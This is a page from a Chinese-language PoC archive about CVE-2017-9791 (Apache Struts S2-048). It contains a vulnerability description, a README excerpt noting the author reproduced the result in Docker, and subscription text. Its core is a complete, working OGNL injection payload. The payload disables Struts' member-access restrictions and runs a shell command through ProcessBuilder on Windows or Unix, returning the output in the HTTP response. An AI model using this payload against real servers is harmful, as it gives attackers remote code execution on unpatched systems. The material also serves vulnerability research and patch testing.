目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2017-9791 PoC — Apache Struts 输入验证错误漏洞

来源
关联漏洞
标题:Apache Struts 输入验证错误漏洞 (CVE-2017-9791)
Description:Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 使用Struts 1插件的Apache Struts 2.1.x和2.3.x版本存在输入验证错误漏洞。远程攻击者可借助原始消息中的恶意字段值利用该漏洞执行代码。
Description
Apache struts struts 2 048, CVE-2017-9791.
介绍
# s2-048
Exp for s2-048, CVE-2017-9791.
```
  ______     _______     ____   ___  _ _____     ___ _____ ___  _ 
 / ___\ \   / / ____|   |___ \ / _ \/ |___  |   / _ \___  / _ \/ |
| |    \ \ / /|  _| _____ __) | | | | |  / /___| (_) | / / (_) | |
| |___  \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
 \____|  \_/  |_____|   |_____|\___/|_|/_/        /_//_/    /_/|_|

```

poc:
```
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
This is a  poc from https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048, I build a docker and successfully get the same result, but there is still some errors in my python script. 


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →